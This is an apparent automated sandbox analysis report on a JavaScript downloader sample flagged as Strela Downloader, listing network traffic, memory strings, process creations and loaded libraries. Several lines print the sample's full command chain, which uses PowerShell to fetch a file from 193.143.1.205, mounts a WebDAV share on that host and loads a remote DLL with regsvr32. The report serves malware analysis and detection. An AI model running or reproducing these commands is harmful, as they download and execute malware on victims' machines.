HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2348998903.000002A8F23B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2419787943.00000247D5DB8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2419787943.00000247D5DF3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2419787943.00000247D5E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2419787943.00000247D5DF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Mm
Source: net.exe, 00000007.00000002.2419787943.00000247D5DF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Um
Source: net.exe, 00000007.00000002.2419787943.00000247D5DF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/ym
Source: svchost.exe, 00000009.00000002.3646783930.000001AF8AA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000009.00000003.2417464398.000001AF8A860000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6192, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 9751253252198928098.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6476:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5hxsxxmm.sbs.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9751253252198928098.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1780,i,13744911955048953528,6005344510922911637,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1780,i,13744911955048953528,6005344510922911637,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
